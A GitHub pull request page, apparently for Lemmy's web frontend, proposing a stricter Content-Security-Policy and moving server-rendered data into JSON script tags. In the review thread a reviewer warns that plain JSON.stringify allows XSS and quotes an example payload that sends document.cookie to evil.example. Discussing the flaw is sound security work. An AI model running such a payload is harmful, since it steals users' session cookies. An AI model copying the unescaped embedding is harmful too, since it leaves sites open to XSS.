Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

improve CSP to prevent XSS #1900

Closed
wants to merge 1 commit into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 10 additions & 1 deletion src/server/middleware.ts
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,16 @@ export function setDefaultCsp({
}) {
res.setHeader(
"Content-Security-Policy",
`default-src 'self'; manifest-src *; connect-src *; img-src * data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; form-action 'self'; base-uri 'self'; frame-src *; media-src * data:`
`default-src 'self';
manifest-src *;
connect-src *;
img-src * data:;
script-src 'self';
style-src 'self' 'unsafe-inline';
form-action 'self';
base-uri 'self';
frame-src *;
media-src * data:`.replace(/\s+/g, " ")
);

next();
Expand Down
9 changes: 6 additions & 3 deletions src/server/utils/create-ssr-html.tsx
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
import { getStaticDir } from "@utils/env";
import { Helmet } from "inferno-helmet";
import { renderToString } from "inferno-server";
import serialize from "serialize-javascript";
import sharp from "sharp";
import { favIconPngUrl, favIconUrl } from "../../shared/config";
import { ILemmyConfig, IsoDataOptionalSite } from "../../shared/interfaces";
Expand Down Expand Up @@ -59,8 +58,12 @@ export async function createSsrHtml(
<!DOCTYPE html>
<html ${helmet.htmlAttributes.toString()}>
<head>
<script>window.isoData = ${serialize(isoData)}</script>
<script>window.lemmyConfig = ${serialize(config)}</script>
<script type="application/json" id="isoData">${JSON.stringify(
isoData
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Going back to stringify will allow all the old XSS vulns.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

To clarify JSON.stringify is not sufficient for encoding arbitrary JSON data into HTML. Most notably something like this:

{"foo":"</script><script>fetch(`https://evil.example/${document.cookie}`)</script>"}

We should not be doing adhoc embedding of data into HTML. We should be using proper serialization.

Copy link
Contributor Author

@phiresky phiresky Jul 10, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It shouldn't allow other XSS because of the CSP header but otherwise you're right. I think the best way to do proper serialization then would be to use renderToString(<script>{JSON.stringify(...)}</script>) from inferno then though? Since that must have correct escaping internally

)}</script>
<script type="application/json" id="lemmyConfig">${JSON.stringify(
config
)}</script>

<!-- A remote debugging utility for mobile -->
${erudaStr}
Expand Down
4 changes: 3 additions & 1 deletion src/shared/utils/app/set-iso-data.ts
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,8 @@ export default function setIsoData<T extends RouteData>(
): IsoData<T> {
// If its the browser, you need to deserialize the data from the window
if (isBrowser()) {
return window.isoData;
const ele = document.getElementById("isoData");
if (!ele) throw Error("could not find iso data");
return JSON.parse(ele.textContent ?? "");
} else return context.router.staticContext;
}